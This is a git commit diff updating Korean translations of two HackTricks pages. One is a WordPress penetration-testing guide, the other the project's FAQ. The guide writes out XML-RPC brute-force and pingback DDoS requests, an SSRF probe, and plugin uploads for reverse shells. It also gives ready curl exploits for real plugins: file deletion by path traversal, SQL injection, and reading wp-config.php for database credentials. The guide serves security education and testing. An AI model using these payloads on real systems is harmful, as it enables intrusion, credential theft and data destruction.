Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-13 16:53:25 +00:00
parent 5c461cee26
commit 093d609162
2 changed files with 114 additions and 59 deletions

View File

@ -5,7 +5,7 @@
## 기본 정보
- **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -15,8 +15,8 @@
### **주요 WordPress 파일**
- `index.php`
- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
@ -26,7 +26,7 @@
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 WordPress는 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
**포스트 익스플로잇**
@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress'
- JavaScript 파일
![](<../../images/image (524).png>)
### 플러그인 가져오기
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -77,21 +75,21 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## 능동적 열거
## Active enumeration
### 플러그인 및 테마
### Plugins and Themes
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 및 테마 목록을 능동적으로 브루트 포스해야** 합니다(다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
모든 Plugins와 Themes를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **Plugins와 Themes 목록을 능동적으로 Brute Force해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
### 사용자
### Users
- **ID 브루트:** 사용자 ID를 브루트 포스하여 WordPress 사이트에서 유효한 사용자를 얻습니다:
- **ID Brute:** Brute Forcing 사용자 ID를 통해 WordPress 사이트에서 유효한 사용자를 얻습니다:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다:
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수 있습니다:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -107,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### XML-RPC
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여](https://github.com/relarizky/wpxploit) 이 프로세스를 자동화할 수 있습니다).
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
@ -120,9 +118,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**자격 증명 무차별 대입**
**자격 증명 브루트포스**
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -174,11 +172,11 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**2FA 우회**
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
**DDoS 또는 포트 스캐닝**
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보 수 있습니다.\
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보내도록 할 수 있습니다.\
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
```html
<methodCall>
@ -217,7 +215,7 @@ Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ _and the Worpress site may make a request to you._
작동하지 않을 때의 응답은 다음과 같습니다:
@ -239,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## 비트를 덮어써서 접근하기
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -285,29 +283,29 @@ to get a session.
![](<../../images/image (70).png>)
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 을 볼 수 있습니다:
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 을 볼 수 있습니다:
![](<../../images/image (462).png>)
접속하면 리버스 을 실행할 URL을 볼 수 있습니다:
접속하면 리버스 을 실행할 URL을 볼 수 있습니다:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 쉘을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
1. **Plugin Acquisition**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
2. **Plugin Installation**:
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`니다.
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`이동합니다.
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
4. **Exploitation**:
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -315,7 +313,7 @@ to get a session.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다.
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
@ -334,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Attack Surface
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 중요합니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
- **`wp_ajax`**
플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. **워드프레스 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이).
플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
> [!CAUTION]
> 또한, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- **REST API**
@ -378,7 +376,7 @@ WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅
2. **CSRF nonce**가 `check_ajax_referer()` / `wp_verify_nonce()`로 검증되며, 및
3. **엄격한 입력 정화 / 검증**.
Litho 다목적 테마 (< 3.1) *Remove Font Family* 기능에서 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
Litho 다목적 테마 (< 3.1) *Remove Font Family* 기능에서 3가지 제어를 잊어버리고 다음 코드를 (단순화하여) 배포하게 되었습니다:
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -401,11 +399,11 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
* **인증되지 않은 접근** `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
* **논스 / 권한 확인 없음** 모든 방문자가 엔드포인트에 접근할 수 있습니다.
* **경로 정 없음** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
* **경로 정 없음** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어 있어 고전적인 `../../` 탐색이 가능합니다.
#### 악용
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리**(일반적으로 `<wp-root>/wp-content/uploads/`) 아래의 모든 파일이나 디렉토리를 삭제할 수 있습니다:
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리 아래의** 모든 파일이나 디렉토리를 삭제할 수 있습니다 (일반적으로 `<wp-root>/wp-content/uploads/`입니다).
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
@ -417,7 +415,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
#### 탐지 체크리스트
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 경로에 비위생적인 사용자 입력의 연결( `$_POST`, `$_GET`, `$_REQUEST`를 찾아보세요).
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`의 부재.
@ -472,8 +470,65 @@ add_filter( 'auto_update_theme', '__return_true' );
- 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한**
- **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용.
## 참조
### 인증되지 않은 SQL 인젝션 (WP Job Portal <= 2.3.2)
WP Job Portal 채용 플러그인은 궁극적으로 `modules/category/model.php::validateFormData()` 내에서 다음과 같은 취약한 코드를 실행하는 **savecategory** 작업을 노출했습니다:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
이 스니펫에서 발생하는 문제:
1. **비위생적인 사용자 입력** `parentid`는 HTTP 요청에서 직접 가져옵니다.
2. **WHERE 절 내 문자열 연결** `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
3. **인증되지 않은 접근 가능성** 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
#### 악용
1. 새 nonce 가져오기:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`를 악용하여 임의의 SQL 주입:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
응답은 주입된 쿼리의 결과를 공개하거나 데이터베이스를 변경하여 SQLi를 증명합니다.
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
서버는 `wp-config.php`의 내용을 응답하여 DB 자격 증명 및 인증 키를 유출합니다.
## References
- [Litho 테마의 인증되지 않은 임의 파일 삭제 취약점](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [WP Job Portal 플러그인에서 패치된 여러 가지 심각한 취약점](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,14 +7,14 @@
> [!TIP]
> 이것은 **HackTricks 프로젝트의 가치**입니다:
>
> - **모든** 인터넷 사용자에게 **무료**로 **교육적 해킹** 리소스에 접근할 수 있도록 합니다.
> - **모든** 인터넷 사용자에게 **무료** **교육 해킹** 리소스에 대한 접근을 제공합니다.
> - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다.
> - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다.
> - **커뮤니티가 게시한** 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위 멋진 트릭을 저장하고 싶습니다.
> - 이 책의 목적은 포괄적인 **교육 리소스**로 기능하는 것입니다.
> - 커뮤니티가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위 멋진 트릭을 저장하고 싶습니다.
> - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다.
> - 여러 경우에 우리는 기술의 중요한 부분에 대한 **요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**.
> - **책의 모든 해킹 기술을 정리하여 더 **접근 가능하게**니다.
> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 만듭니다.
> - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직하는 데** 수천 시간을 무료로 헌신했습니다.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,9 +23,9 @@
> [!TIP]
>
> - **이 리소스에 대해 정말 감사합니다. 어떻게 감사할 수 있을까요?**
> - **이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요?**
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 공개적으로 감사할 수 있습니다.\
특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요).
@ -33,7 +33,7 @@ HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에
>
> - **프로젝트에 어떻게 기여할 수 있나요?**
커뮤니티와 **새로운 팁과 트릭을 공유하거나** 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다:
커뮤니티와 새로운 팁과 트릭을 **공유하거나 책에서 발견한 버그를 수정**하여 해당 Github 페이지에 **Pull Request**를 보낼 수 있습니다:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -64,9 +64,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **내 블로그에 모든 HackTricks를 복사해도 되나요?**
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않을 것입니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 이미 무료입니다.
사라질까 두려우신가요? 그냥 GitHub에서 포크하거나 다운로드하세요. 이미 무료입니다.
> [!WARNING]
>
@ -74,35 +74,35 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신**했습니다. 다시 말해, **무료**입니다.
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면, **완전히 잘못된** 것입니다.
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 잘못 알고 계십니다**.
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 평가할 수 있는 가능성을 제공하고 싶기 때문**입니다. 따라서, 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다.
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 감사할 수 있는 가능성을 제공하고 싶기 때문입니다**. 따라서 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다.
HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않을 것입니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
> [!CAUTION]
>
> - **내 블로그 게시물을 기반으로 한 HackTricks 페이지가 있지만 참조되지 않았다면 어떻게 해야 하나요?**
**죄송합니다. 이런 일이 발생해서는 안 되었습니다**. HackTricks 페이지의 링크와 귀하의 블로그 링크를 Github 이슈, Twitter, Discord 등을 통해 알려주시면 **확인하고 ASAP 추가하겠습니다**.
**죄송합니다. 이런 일이 발생해서는 안 됩니다**. GitHub 이슈, Twitter, Discord 등을 통해 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 ASAP 추가하겠습니다**.
> [!CAUTION]
>
> - **내 블로그의 콘텐츠가 HackTricks에 있는데 거기 있기를 원하지 않으면 어떻게 해야 하나요?**
HackTricks에 귀하의 페이지 링크가 있는 것은 다음과 같은 이점이 있습니다:
HackTricks에 귀하의 페이지 링크가 있는 것은:
- 귀하의 **SEO**를 개선합니다.
- 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다.
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다).
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다).
그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면, 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**.
그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**.
> [!CAUTION]
>
> - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?**
